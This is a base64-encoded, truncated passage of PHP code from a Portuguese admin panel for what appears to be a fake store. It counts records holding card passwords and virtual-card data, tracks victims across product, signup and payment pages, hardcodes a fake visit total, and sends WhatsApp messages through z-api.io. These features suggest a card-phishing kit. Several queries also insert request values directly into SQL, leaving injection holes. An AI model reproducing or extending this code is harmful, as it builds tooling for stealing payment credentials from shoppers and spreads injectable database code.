LAogICAgICAgICdSSicgPT4gJHJvd19NZXRyaWNhc1snUkonXSwKICAgICAgICAnUk4nID0+ICRyb3dfTWV0cmljYXNbJ1JOJ10sCiAgICAgICAgJ1JTJyA9PiAkcm93X01ldHJpY2FzWydSUyddLAogICAgICAgICdSTycgPT4gJHJvd19NZXRyaWNhc1snUk8nXSwKICAgICAgICAnUlInID0+ICRyb3dfTWV0cmljYXNbJ1JSJ10sCiAgICAgICAgJ1NDJyA9PiAkcm93X01ldHJpY2FzWydTQyddLAogICAgICAgICdTUCcgPT4gJHJvd19NZXRyaWNhc1snU1AnXSwKICAgICAgICAnU0UnID0+ICRyb3dfTWV0cmljYXNbJ1NFJ10sCiAgICAgICAgJ1RPJyA9PiAkcm93X01ldHJpY2FzWydUTyddCiAgICBdOwogICAgCiAgICAgICAgICAgIAogICAgICAgIGFyc29ydCgkbWV0cmljYXMpOwogICAgICAgICRtZXRyaWNhc19tYWlvcmVzID0gYXJyYXlfc2xpY2UoJG1ldHJpY2FzLCAwLCA4KTsKICAgIAogICAgICAgIGZvcmVhY2ggKCRtZXRyaWNhc19tYWlvcmVzIGFzICRzaWdsYV9lc3RhZG8gPT4gJGFjZXNzb19VRikgewogICAgICAgICAgICAkbm9tZV9lc3RhZG8gPSAkbm9tZXNfZXN0YWRvc1skc2lnbGFfZXN0YWRvXTsKICAgICAgICAgICAgJGNhbWluaG9fYmFuZGVpcmEgPSAkY2FtaW5ob19iYW5kZWlyYXNbJHNpZ2xhX2VzdGFkb107CiAgICAKICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPSJkLWZsZXgiPic7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImJnLWxpZ2h0Ij4nOwogICAgICAgICAgICBlY2hvICc8aW1nIHNyYz0iJyAuICRjYW1pbmhvX2JhbmRlaXJhIC4gJyIgYWx0PSJ2ZWN0b3IgYnVyZ2VyIj4nOwogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICBlY2hvICc8ZGl2Pic7CiAgICAgICAgICAgIGVjaG8gJzxoNiBjbGFzcz0ibWItMCI+PGE+JyAuICRub21lX2VzdGFkbyAuICc8L2E+PC9oNj48c3BhbiBjbGFzcz0iZi1saWdodCBmLTEyIGYtdy01MDAiPicgLiAkYWNlc3NvX1VGIC4gJzwvc3Bhbj4nOwogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICBlY2hvICc8L2xpPic7IAogICAgICAgIH0KICAgIH0KfQogCgoKaWYgKCRwYWdlID09ICdjb250LW1peCcpIHsgCiAgICAkcXVlcnlfc2V0ID0gc3ByaW50ZigiU0VMRUNUICogRlJPTSBkYWRvcyBXSEVSRSB1c2VyID0gJyRzZXNzaW9uX2FkbWluJyIpOwogICAgJHNldCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcXVlcnlfc2V0KTsKICAgICRyb3dfc2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzZXQpOwogICAgJHRvdGFsUm93c19zZXQgPSBteXNxbGlfbnVtX3Jvd3MoJHNldCk7ICAKICAgIGVjaG8gJHRvdGFsUm93c19zZXQ7ICAKfQppZiAoJHBhZ2UgPT0gJ2NvbnQtY29uc3VsJykgeyAKICAgICRxdWVyeV9zZXQgPSBzcHJpbnRmKCJTRUxFQ1QgKiBGUk9NIGRhZG9zIFdIRVJFIGNhcnRhb19zZW5oYSAhPSAnJyBBTkQgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciKTsKICAgICRzZXQgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHF1ZXJ5X3NldCk7CiAgICAkcm93X3NldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc2V0KTsKICAgICR0b3RhbFJvd3Nfc2V0ID0gbXlzcWxpX251bV9yb3dzKCRzZXQpOyAgCiAgICBlY2hvICR0b3RhbFJvd3Nfc2V0OyAgCn0KaWYgKCRwYWdlID09ICdjb250LXZpcnR1YWwnKSB7IAogICAgJHF1ZXJ5X3NldCA9IHNwcmludGYoIlNFTEVDVCAqIEZST00gZGFkb3MgV0hFUkUgY2FydGFvX3ZpcnR1YWwgIT0gJycgQU5EIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIik7CiAgICAkc2V0ID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRxdWVyeV9zZXQpOwogICAgJHJvd19zZXQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNldCk7CiAgICAkdG90YWxSb3dzX3NldCA9IG15c3FsaV9udW1fcm93cygkc2V0KTsgIAogICAgZWNobyAkdG90YWxSb3dzX3NldDsgIAp9CgppZiAoJHBhZ2UgPT0gJ2NvbnQtcGl4JykgeyAKICAgICRxdWVyeV9zZXQgPSBzcHJpbnRmKCJTRUxFQ1QgKiBGUk9NIHBlZGlkb3MgV0hFUkUgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciKTsKICAgICRzZXQgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHF1ZXJ5X3NldCk7CiAgICAkcm93X3NldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc2V0KTsKICAgICR0b3RhbFJvd3Nfc2V0ID0gbXlzcWxpX251bV9yb3dzKCRzZXQpOyAgCiAgICBlY2hvICR0b3RhbFJvd3Nfc2V0OyAgCn0KCmlmICgkcGFnZSA9PSAnZmF0dXJhbWVudG8nKSB7CiAgICAkc3FsMiA9ICJTRUxFQ1QgU1VNKHZhbG9yKSBBUyB0b3RhbCBGUk9NIHBlZGlkb3MgV0hFUkUgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciOwogICAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsMik7CiAgICAkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwogICAgJHRvdGFsID0gJHJvd1sndG90YWwnXTsKICAgIC8vIEZvcm1hdGEgbyB2YWxvciBjb21vIHJlYWlzIGJyYXNpbGVpcm9zCiAgICAkZm9ybWF0dGVkX3RvdGFsID0gbnVtYmVyX2Zvcm1hdCgkdG90YWwsIDIsICcsJywgJy4nKTsKCiAgICBlY2hvICRmb3JtYXR0ZWRfdG90YWw7Cn0gCgoKaWYgKCRwYWdlID09ICd2aXNpdF9wcm9kdXRvJykgewogCiAgICAkc3FsMyAgICAgICAgICAgICAgPSAiU0VMRUNUICogRlJPTSBvbmxpbmVfdXNlcnMgd2hlcmUgdXNlciAgPSAnJHNlc3Npb25fYWRtaW4nIGFuZCBwYWdlID0gJ1Byb2R1dG8nIjsKICAgICRyZXN1bHQzICAgICAgICAgICA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsMyk7IAogICAgJGNvdW50X3VzZXJfb25saW5lID0gbXlzcWxpX251bV9yb3dzKCRyZXN1bHQzKTsKICAgIGVjaG8gIiRjb3VudF91c2VyX29ubGluZSI7IAoKfSAKCmlmICgkcGFnZSA9PSAndmlzaXRfY2hlY2tvdXQnKSB7CiAKICAgICRzcWwzICAgICAgICAgICAgICA9ICJTRUxFQ1QgKiBGUk9NIG9ubGluZV91c2VycyB3aGVyZSB1c2VyICA9ICckc2Vzc2lvbl9hZG1pbicgYW5kIHBhZ2UgPSAnQ2FkYXN0cm8nIjsKICAgICRyZXN1bHQzICAgICAgICAgICA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsMyk7IAogICAgJGNvdW50X3VzZXJfb25saW5lID0gbXlzcWxpX251bV9yb3dzKCRyZXN1bHQzKTsKICAgIGVjaG8gIiRjb3VudF91c2VyX29ubGluZSI7IAoKfSAKCmlmICgkcGFnZSA9PSAndmlzaXRfcGFnYXInKSB7CiAKICAgICRzcWwzICAgICAgICAgICAgICA9ICJTRUxFQ1QgKiBGUk9NIG9ubGluZV91c2VycyB3aGVyZSB1c2VyICA9ICckc2Vzc2lvbl9hZG1pbicgYW5kIHBhZ2UgPSAnUGFnYW1lbnRvJyI7CiAgICAkcmVzdWx0MyAgICAgICAgICAgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHNxbDMpOyAKICAgICRjb3VudF91c2VyX29ubGluZSA9IG15c3FsaV9udW1fcm93cygkcmVzdWx0Myk7CiAgICBlY2hvICIkY291bnRfdXNlcl9vbmxpbmUiOyAKCn0gCgoKaWYgKCRwYWdlID09ICd2aXNpdF90b3RhbCcpIHsKIAogICAgJGZvcm1hdHRlZF90b3RhbCA9ICcxOCc7IAogICAgZWNobyAkZm9ybWF0dGVkX3RvdGFsOwoKfSAKCgppZiAoJHBhZ2UgPT0gJ3Zpc2l0X29ubGluZScpIHsKICAgIC8vLyAgLy8vLy8vLy8vIGRlbGV0YXIgdXN1YXJpb3Mgb2ZmbGluZQogICAgICAkdGltZSAgICAgICA9IHRpbWUoKTsKICAgICAgJHRpbWVfY2hlY2sgPSAkdGltZS0xMjA7IAogICAgICAkc3FsNCAgICA9ICJERUxFVEUgRlJPTSBvbmxpbmVfdXNlcnMgV0hFUkUgdGltZTwkdGltZV9jaGVjayI7IAogICAgICAkcmVzdWx0NCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsNCk7ICAKICAgICAgLy8vLy8vIGNvbnRhZG9yIGRlIG9ubGluZXMgCiAgICAgICRzcWwzICAgICAgICAgICAgICA9ICJTRUxFQ1QgKiBGUk9NIG9ubGluZV91c2VycyB3aGVyZSB1c2VyICA9ICckc2Vzc2lvbl9hZG1pbiciOwogICAgICAkcmVzdWx0MyAgICAgICAgICAgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHNxbDMpOyAKICAgICAgJGNvdW50X3VzZXJfb25saW5lID0gbXlzcWxpX251bV9yb3dzKCRyZXN1bHQzKTsKICAgICAgZWNobyAiJGNvdW50X3VzZXJfb25saW5lIjsKICAgIAogICAgICBteXNxbGlfY2xvc2UoJENvbm5lY3REQik7IAogICAgfQogICAgIAoKCgoKCi8vLy8vLy8vLy8vLy8vIERFTEVUQVIKCmlmICgkcGFnZSA9PT0gJ2RlbGV0ZV9wcm9kdXRvJykgewoKICAgIAogICAgaWYgKCFlbXB0eSgkaWQpKSB7CiAgICAgICAgJHF1ZXJ5ID0gJENvbm5lY3REQi0+cHJlcGFyZSgiREVMRVRFIEZST00gcHJvZHV0byBXSEVSRSBpZCA9ID8gQU5EIHVzZXIgPSA/Iik7CiAgICAgICAgJHF1ZXJ5LT5iaW5kX3BhcmFtKCdpcycsICRpZCwgJHNlc3Npb25fYWRtaW4pOwogICAgICAgICRxdWVyeS0+ZXhlY3V0ZSgpOwogICAgICAgIAogICAgICAgIGlmICgkcXVlcnktPmFmZmVjdGVkX3Jvd3MpIHsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9cHJvZHV0b3MiKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBlcnJvCiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPXByb2R1dG9zIik7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAvLyBvawogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPXByb2R1dG9zIik7CiAgICB9Cn0KCmlmICgkcGFnZSA9PT0gJ2RlbGV0ZV9zZWxlY3RpbmZvJykgewogICAgJGlkID0gZmlsdGVyX2lucHV0KElOUFVUX0dFVCwgJ2lkJywgRklMVEVSX1NBTklUSVpFX05VTUJFUl9JTlQpOwogICAgCiAgICBpZiAoIWVtcHR5KCRpZCkpIHsKICAgICAgICAkcXVlcnkgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCJERUxFVEUgRlJPTSBkYWRvcyBXSEVSRSBpZCA9ID8gQU5EIHVzZXIgPSA/Iik7CiAgICAgICAgJHF1ZXJ5LT5iaW5kX3BhcmFtKCdpcycsICRpZCwgJHNlc3Npb25fYWRtaW4pOwogICAgICAgICRxdWVyeS0+ZXhlY3V0ZSgpOwogICAgICAgIAogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPWluZm9zIik7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKaWYgKCRwYWdlID09PSAnZGVsZXRlX3BlZGlkbycpIHsgCiAgICBpZiAoIWVtcHR5KCRpZCkpIHsKICAgICAgICAkcXVlcnkgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCJERUxFVEUgRlJPTSBwZWRpZG9zIFdIRVJFIGlkID0gPyBBTkQgdXNlciA9ID8iKTsKICAgICAgICAkcXVlcnktPmJpbmRfcGFyYW0oJ2lzJywgJGlkLCAkc2Vzc2lvbl9hZG1pbik7CiAgICAgICAgJHF1ZXJ5LT5leGVjdXRlKCk7CiAgICAgICAgICAgICAgICAKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1wZWRpZG9zIik7CiAgICAgICAgZXhpdDsKICAgIH0KfSAKCmlmICgkcGFnZSA9PSAnZGVsZXRlX2luZm9mdWxsJyl7IC8vLy8vLy8vLy8vLy8vZGVsZXRhciBpbmZvcwogICAgJHJlc3VsdF91c3VhcmlvID0gIkRFTEVURSBGUk9NIGRhZG9zIFdIRVJFIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIjsKICAgICRyZXN1bHRhZG9fdXN1YXJpbyA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcmVzdWx0X3VzdWFyaW8pOwogICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vP3BhZ2U9aW5mb3MiKTsKICAgIGV4aXQ7Cn0KCmlmICgkcGFnZSA9PSAnZGVsZXRlX3BlZGlkb3NmdWxsJyl7IC8vLy8vLy8vLy8vLy8vZGVsZXRhciBwZWRpZG9zL3BpeAogICAgJHJlc3VsdF91c3VhcmlvID0gIkRFTEVURSBGUk9NIHBlZGlkb3MgV0hFUkUgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciOwogICAgJHJlc3VsdGFkb191c3VhcmlvID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRyZXN1bHRfdXN1YXJpbyk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1wZWRpZG9zIik7CiAgICBleGl0Owp9CmlmICgkcGFnZSA9PSAnZGVsZXRlX21ldHJpY2FzJykgewogICAgJHJlc3VsdF91c3VhcmlvID0gIlVQREFURSBtZXRyaWNhcyBTRVQgYW5kcm9pZCA9ICcwJywgaW9zID0gJzAnLCBwYyA9ICcwJywKICAgICAgICAgICAgICAgICAgICAgICAgQUMgPSAnMCcsIEFMID0gJzAnLCBBUCA9ICcwJywgQU0gPSAnMCcsIEJBID0gJzAnLCBDRSA9ICcwJywgRVMgPSAnMCcsIEdPID0gJzAnLCAKICAgICAgICAgICAgICAgICAgICAgICAgTUEgPSAnMCcsIE1UID0gJzAnLCBNUyA9ICcwJywgTUcgPSAnMCcsIFBBID0gJzAnLCBQQiA9ICcwJywgUFIgPSAnMCcsIFBFID0gJzAnLCAKICAgICAgICAgICAgICAgICAgICAgICAgUEkgPSAnMCcsIFJKID0gJzAnLCBSTiA9ICcwJywgUlMgPSAnMCcsIFJPID0gJzAnLCBSUiA9ICcwJywgU0MgPSAnMCcsIFNQID0gJzAnLCAKICAgICAgICAgICAgICAgICAgICAgICAgU0UgPSAnMCcsIGBUT2AgPSAnMCcgCiAgICAgICAgICAgICAgICAgICAgICBXSEVSRSB1c2VyID0gPyI7CgogICAgJHN0bXQgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCRyZXN1bHRfdXN1YXJpbyk7CiAgICAkc3RtdC0+YmluZF9wYXJhbSgicyIsICRzZXNzaW9uX2FkbWluKTsKICAgICRzdG10LT5leGVjdXRlKCk7CgogICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9aG9tZSIpOwogICAgZXhpdDsKfQoKaWYgKCRwYWdlID09ICdkZWxldGVfdmlzaXRhcycpIHsKICAgICRyZXN1bHRfdXN1YXJpbyA9ICJVUERBVEUgbWV0cmljYXMgU0VUIGFuZHJvaWQgPSAnMCcsIGlvcyA9ICcwJywgcGMgPSAnMCcgV0hFUkUgdGlwbyA9ICdjbGljaycgQU5EIHVzZXIgPSA/IjsKCiAgICAkc3RtdCA9ICRDb25uZWN0REItPnByZXBhcmUoJHJlc3VsdF91c3VhcmlvKTsKICAgICRzdG10LT5iaW5kX3BhcmFtKCJzIiwgJHNlc3Npb25fYWRtaW4pOyAKICAgICRzdG10LT5leGVjdXRlKCk7CgogICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9aG9tZSIpOwogICAgZXhpdDsKfQoKCmlmICgkcGFnZSA9PSAnZGVsZXRlX3BpeGVsJykgewogICAgLy8gVmVyaWZpY2FuZG8gc2UgbyBJRCBlc3TDoSBkZWZpbmlkbyBlIG7Do28gdmF6aW8KICAgIGlmIChpc3NldCgkaWQpICYmICFlbXB0eSgkaWQpICYmIGlzc2V0KCRzZXNzaW9uX2FkbWluKSAmJiAhZW1wdHkoJHNlc3Npb25fYWRtaW4pKSB7CiAgICAgICAgJHJlc3VsdF91c3VhcmlvID0gIkRFTEVURSBGUk9NIHBpeGVsIFdIRVJFIGlkID0gJyRpZCcgQU5EIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIjsKICAgICAgICAkcmVzdWx0YWRvX3VzdWFyaW8gPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF91c3VhcmlvKTsKCiAgICAgICAgaWYgKCRyZXN1bHRhZG9fdXN1YXJpbykgewogICAgICAgICAgICAvLyBSZWRpcmVjaW9uYW5kbyBhcMOzcyBhIGV4Y2x1c8OjbwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1waXhlbCIpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIkVycm8gYW8gdGVudGFyIGV4Y2x1aXIgbyBwZWRpZG8uIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIklEIG91IHNlc3PDo28gZGUgdXN1w6FyaW8gaW52w6FsaWRvcy4iOwogICAgfQp9IAoKLy8vLy8vLy8vLy8vLy8gRm9ybXVsYXJpbyAKaWYgKCRwYWdlID09ICJmb3JtdWxhcmlvX3BpeGVsIikgeyAvLy8gYWRkIHBpeGVsCgogICAgaWYgKCRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdID09ICJQT1NUIiAmJiBpc3NldCgkX1BPU1RbJ3RpdHVsbyddKSAmJiBpc3NldCgkX1BPU1RbJ2lkUGl4ZWwnXSkgJiYgaXNzZXQoJF9QT1NUWyd0b2tlblBpeGVsJ10pKSB7CiAgICAgICAgLy8gUmVjdXBlcmEgb3MgZGFkb3MgZG8gZm9ybXVsw6FyaW8KICAgICAgICAkdGl0dWxvID0gJF9QT1NUWyd0aXR1bG8nXTsKICAgICAgICAkaWRQaXhlbCA9ICRfUE9TVFsnaWRQaXhlbCddOwogICAgICAgICR0b2tlblBpeGVsID0gJF9QT1NUWyd0b2tlblBpeGVsJ107CiAgICAgICAgCiAgICAKICAgICAgICAvLyBTdWEgY29uZXjDo28gY29tIG8gYmFuY28gZGUgZGFkb3MgasOhIGVzdGFiZWxlY2lkYSBlbSBhbGd1bSBsdWdhcgogICAgCiAgICAgICAgLy8gUHJlcGFyYSBhIGNvbnN1bHRhIFNRTCBwYXJhIGluc2Vyw6fDo28KICAgICAgICAkcmVzdWx0X3NtdHAgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCJJTlNFUlQgSU5UTyBwaXhlbCAodGl0dWxvLCBpZF9waXhlbCwgdG9rZW4sIHVzZXIpIFZBTFVFUyAoPywgPywgPywgPykiKTsKICAgICAgICAkcmVzdWx0X3NtdHAtPmJpbmRfcGFyYW0oInNzc3MiLCAkdGl0dWxvLCAkaWRQaXhlbCwgJHRva2VuUGl4ZWwsICRzZXNzaW9uX2FkbWluKTsKICAgIAogICAgICAgIC8vIEV4ZWN1dGEgYSBjb25zdWx0YSBwcmVwYXJhZGEKICAgICAgICBpZiAoJHJlc3VsdF9zbXRwLT5leGVjdXRlKCkpIHsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9cGl4ZWwiKTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIkVycm8gYW8gaW5zZXJpciBvcyBkYWRvczogIiAuICRyZXN1bHRfc210cC0+ZXJyb3I7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJFcnJvOiBOw6NvIGZvaSBwb3Nzw612ZWwgcHJvY2Vzc2FyIG9zIGRhZG9zIGRvIGZvcm11bMOhcmlvLiI7CiAgICAgICAgZXhpdDsKICAgIH0KCmhlYWRlciAoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1ob21lIik7Cgp9CgoKaWYgKCRwYWdlID09ICJhZGRfcHJvZHV0byIpIHsKICAgIGlmICgkX1NFUlZFUlsiUkVRVUVTVF9NRVRIT0QiXSA9PSAiUE9TVCIpIHsKICAgICAgICAvLyBWZXJpZmljYSBzZSBvcyBjYW1wb3Mgb2JyaWdhdMOzcmlvcyBmb3JhbSBwcmVlbmNoaWRvcwogICAgICAgIGlmICgKICAgICAgICAgICAgaXNzZXQoJF9QT1NUWyJ0aXR1bG9fcHJvZHV0byJdKSAmJiAKICAgICAgICAgICAgaXNzZXQoJF9QT1NUWyJ2YWxvcl9wcm9kdXRvIl0pICYmIAogICAgICAgICAgICBpc3NldCgkX1BPU1RbInZhbG9yX3Jpc2NhZG8iXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsicHJvZHV0b19pbWFnZW0iXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsidmVuZGlkb3NfcHJvZHV0byJdKSAmJiAKICAgICAgICAgICAgaXNzZXQoJF9QT1NUWyJjYXRlZ29yaWFzX3Byb2R1dG8iXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsiY2F0ZWdvcmlhc19vZmVydGEiXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsiY2hhdmVfcGl4Il0pICYmIAogICAgICAgICAgICBpc3NldCgkX1BPU1RbImRlc2NyaWNhb19wcm9kdXRvIl0pCiAgICAgICAgKSB7CiAgICAgICAgICAgIC8vIENvbGV0YSBkb3MgZGFkb3MgcmVjZWJpZG9zCiAgICAgICAgICAgICR0aXR1bG8gPSAkX1BPU1RbInRpdHVsb19wcm9kdXRvIl07CiAgICAgICAgICAgICR2YWxvciA9ICRfUE9TVFsidmFsb3JfcHJvZHV0byJdOwogICAgICAgICAgICAkdmFsb3JSaXNjYWRvID0gJF9QT1NUWyJ2YWxvcl9yaXNjYWRvIl07CiAgICAgICAgICAgICRwcm9kdXRvaW1hZ2VtID0gJF9QT1NUWyJwcm9kdXRvX2ltYWdlbSJdOwogICAgICAgICAgICAgCiAgICAgICAgICAgICR2ZW5kaWRvcyA9ICRfUE9TVFsidmVuZGlkb3NfcHJvZHV0byJdOwogICAgICAgICAgICAkY2F0ZWdvcmlhc1Byb2R1dG9zID0gJF9QT1NUWyJjYXRlZ29yaWFzX3Byb2R1dG8iXTsKICAgICAgICAgICAgJGNhdGVnb3JpYXNPZmVydGEgPSAkX1BPU1RbImNhdGVnb3JpYXNfb2ZlcnRhIl07CiAgICAgICAgICAgICRjaGF2ZVBpeCA9ICRfUE9TVFsiY2hhdmVfcGl4Il07CiAgICAgICAgICAgICRkZXNjcmljYW8gPSAkX1BPU1RbImRlc2NyaWNhb19wcm9kdXRvIl07CiAgICAKICAgICAgICAgICAgJHJlc3VsdF9zbXRwID0gIklOU0VSVCBJTlRPIHByb2R1dG8gKHByb2R1dG9fbmFtZSwgcHJvZHV0b192YWxvciwgcHJvZHV0b19yaXNjYWRvLCBwcm9kdXRvX2ltZywgcHJvZHV0b19kZXNjcmljYW8sIHByb2R1dG9fY2F0ZWdvcmlhLCBwcm9kdXRvX29mZXJ0YSwgcHJvZHV0b19vbnBpeCwgcHJvZHV0b19jaGF2ZXBpeCwgcHJvZHV0b192aXNpdGFzLCBwcm9kdXRvX3ZlbmRpZG9zLHZlbmRpZG9zLCBwcm9kdXRvX2Rlc2NvbnRvLCB1c2VyKSBWQUxVRVMgKCckdGl0dWxvJywnJHZhbG9yJywnJHZhbG9yUmlzY2FkbycsJyRwcm9kdXRvaW1hZ2VtJywnJGRlc2NyaWNhbycsJyRjYXRlZ29yaWFzUHJvZHV0b3MnLCckY2F0ZWdvcmlhc09mZXJ0YScsJzAnLCckY2hhdmVQaXgnLCcwJywnJHZlbmRpZG9zJywnMCcsJzAnLCAnJHNlc3Npb25fYWRtaW4nKSI7CiAgICAgICAgICAgICRyZXN1bHRhZG9fc210cCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcmVzdWx0X3NtdHApOyAKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4/cGFnZT1wcm9kdXRvcyIpOwogICAgICAgICAgICBleGl0KCk7Cgp9Cn0KfSAKIAppZiAoJHBhZ2UgPT0gImFwaS13aGFzdGFwcCIpIHsKCiAgICAkdXJsX3NpdGUgPSAiaHR0cHM6Ly8kX1NFUlZFUltIVFRQX0hPU1RdIjsKICAgICRzZXNzaW9uX2FkbWluID0gJF9TRVNTSU9OWydzZXNzaW9uX2FkbWluJ107CiAgICBpZiAoJHNlc3Npb25fYWRtaW4gPT0gJycpewogICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkdXJsX3NpdGUiKTsKICAgIH0gCiAgICAKICAgICRpZF93aGF0c2FwcCAgICA9ICRfUE9TVFsnd2hhdHNhcHBfaWQnXTsKICAgICR0b2tlbl9jb250YSAgICA9ICRfUE9TVFsndG9rZW5fY29udGEnXTsKICAgICR0b2tlbl93aGF0c2FwcCA9ICRfUE9TVFsnd2hhdHNhcHBfdG9rZW4nXTsKICAgICR0b2tlbl90ZWxlZm9uZSA9ICRfUE9TVFsnd2hhdHNhcHBfdGVsZWZvbmUnXTsKICAgICRhdGl2YXIgPSAkX1BPU1RbJ2F0aXZhciddOwogICAgCiAgIAogICAgaWYgKCR0b2tlbl90ZWxlZm9uZSA9PSAnJyl7fSBlbHNlIHsKICAgICRjdXJsID0gY3VybF9pbml0KCk7IAogICAgY3VybF9zZXRvcHRfYXJyYXkoJGN1cmwsIGFycmF5KAogICAgICAgIENVUkxPUFRfVVJMID0+ICJodHRwczovL2FwaS56LWFwaS5pby9pbnN0YW5jZXMvJGlkX3doYXRzYXBwL3Rva2VuLyR0b2tlbl93aGF0c2FwcC9zZW5kLW1lc3NhZ2VzIiwKICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsCiAgICAgICAgQ1VSTE9QVF9FTkNPRElORyA9PiAiIiwKICAgICAgICBDVVJMT1BUX01BWFJFRElSUyA9PiAxMCwKICAgICAgICBDVVJMT1BUX1RJTUVPVVQgPT4gMzAsCiAgICAgICAgQ1VSTE9QVF9IVFRQX1ZFUlNJT04gPT4gQ1VSTF9IVFRQX1ZFUlNJT05fMV8xLAogICAgICAgIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCA9PiAiUE9TVCIsCiAgICAgICAgQ1VSTE9QVF9QT1NURklFTERTID0+ICJ7XCJwaG9uZVwiOiBcIjU1JyR0b2tlbl90ZWxlZm9uZSdcIiwgXCJtZXNzYWdlXCI6IFwiT2xhLCBcXG5TdWEgKmFwaSogZm9pIGNvbmZpZ3VyYWRhIGNvbSBzdWNlc3NvIVwifSIsCiAgICAgICAgQ1VSTE9QVF9IVFRQSEVBREVSID0+IGFycmF5KAogICAgICAgICJjbGllbnQtdG9rZW46ICR0b2tlbl9jb250YSIsCiAgICAgICAgImNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vanNvbiIKICAgICAgKSwKICAgICkpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjdXJsKTsKICAgICRlcnIgPSBjdXJsX2Vycm9yKCRjdXJsKTsKICAgIAogICAgY3VybF9jbG9zZSgkY3VybCk7CiAgICAKICAgIGlmICgkZXJyKSB7CiAgICB9IGVsc2UgewogICAgfSAKICAgIAogICAgJGN1cmxfaW1nID0gY3VybF9pbml0KCk7CiAgICAKICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjdXJsX2ltZywgYXJyYXkoCiAgICAgIENVUkxPUFRfVVJMID0+ICJodHRwczovL2FwaS56LWFwaS5pby9pbnN0YW5jZXMvJGlkX3doYXRzYXBwL3Rva2VuLyR0b2tlbl93aGF0c2FwcC9zZW5kLWltYWdlIiwKICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAogICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICIiLAogICAgICBDVVJMT1BUX01BWFJFRElSUyA9PiAxMCwKICAgICAgQ1VSTE9QVF9USU1FT1VUID0+IDMwLAogICAgICBDVVJMT1BUX0hUVFBfVkVSU0lPTiA9PiBDVVJMX0hUVFBfVkVSU0lPTl8xXzEsCiAgICAgIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCA9PiAiUE9TVCIsCiAgICAgIENVUkxPUFRfUE9TVEZJRUxEUyA9Pi